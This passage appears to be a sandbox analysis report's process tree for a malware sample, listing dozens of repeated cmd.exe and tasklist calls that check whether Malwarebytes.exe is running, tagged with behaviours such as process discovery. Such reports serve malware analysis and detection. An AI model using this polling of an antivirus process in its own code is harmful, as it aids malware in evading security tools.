      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2520
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:312
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3452
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3292
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1052
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3084
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2056
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3448
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3020
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:756
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3632
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1668
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:384
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3540
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2656
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3924
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2952
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3348
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3372
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3684
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4512
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4624
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3216
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3288
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1072
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4652
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5060
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2476
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4676
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4444
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1732
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3496
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2772
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2116
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1152
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4352
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4492
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1140
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:64
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1756
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4452
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3828
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5040
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2668
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2068
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:764
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4288
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3932
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2340
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3832
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2248
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3704
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1832
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2188
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3244
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2396
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:760
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2792
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2060
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3644
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2804
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3052
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3640
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4584
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1156
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3016
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2140
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4920
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5088
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2552
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1124
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4256
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4252
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2264
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3304
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4680
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1028
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3536
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4208
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4688
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4144
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2748
  - - C:\Windows\system32\cmd.exe
